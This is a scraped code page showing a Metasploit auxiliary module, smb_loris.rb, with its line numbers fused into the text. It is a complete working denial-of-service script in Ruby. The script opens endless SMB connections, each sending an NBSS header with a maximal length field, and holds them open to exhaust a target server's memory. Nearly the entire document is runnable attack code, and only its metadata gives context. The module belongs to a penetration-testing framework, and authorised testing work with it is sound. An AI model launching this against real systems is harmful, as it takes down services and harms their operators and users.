Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/smb/smb_loris.rb
Views: 11784
#!/usr/bin/env ruby12require 'socket'3require 'metasploit'45require 'bindata'67class NbssHeader < BinData::Record8endian :little9uint8 :message_type10bit7 :flags11bit17 :message_length12end1314metadata = {15name: 'SMBLoris NBSS Denial of Service',16description: %q{17The SMBLoris attack consumes large chunks of memory in the target by sending18SMB requests with the NetBios Session Service(NBSS) Length Header value set19to the maximum possible value. By keeping these connections open and initiating20large numbers of these sessions, the memory does not get freed, and the server21grinds to a halt. This vulnerability was originally disclosed by Sean Dillon22and Zach Harding.2324DISCALIMER: This module opens a lot of simultaneous connections. Please check25your system's ULIMIT to make sure it can handle it. This module will also run26continuously until stopped.27},28authors: [29'thelightcosine',30'Adam Cammack <adam_cammack[at]rapid7.com>'31],32date: '2017-06-29',33references: [34{ type: 'url', ref: 'https://web.archive.org/web/20170804072329/https://smbloris.com/' },35{ type: 'aka', ref: 'SMBLoris'}36],37type: 'dos',38options: {39rhost: {type: 'address', description: 'The target address', required: true, default: nil},40rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445},41}42}4344def run(args)45header = NbssHeader.new46header.message_length = 0x01FFFF4748last_reported = 049warned = false50n_loops = 051sockets = []5253target = Addrinfo.tcp(args[:rhost], args[:rport].to_i)5455Metasploit.logging_prefix = "#{target.inspect_sockaddr} - "5657while true do58begin59sockets.delete_if do |s|60s.closed?61end6263nsock = target.connect(timeout: 360)64nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)65nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))66nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))67nsock.setsockopt(Socket::Option.linger(true, 60))68nsock.write(header.to_binary_s)69sockets << nsock7071n_loops += 172if last_reported != sockets.length73if n_loops % 100 == 074last_reported = sockets.length75Metasploit.log "#{sockets.length} socket(s) open", level: 'info'76end77elsif n_loops % 1000 == 078Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'79end80rescue Interrupt81break82sockets.each &:close83rescue Errno::EMFILE84Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing your system limits.", level: 'warning' unless warned85warned = true86sockets.slice(0).close87rescue Exception => e88Metasploit.log "Exception sending packet: #{e.message}", level: 'error'89end90end91end9293if __FILE__ == $PROGRAM_NAME94Metasploit.run(metadata, method(:run))95end969798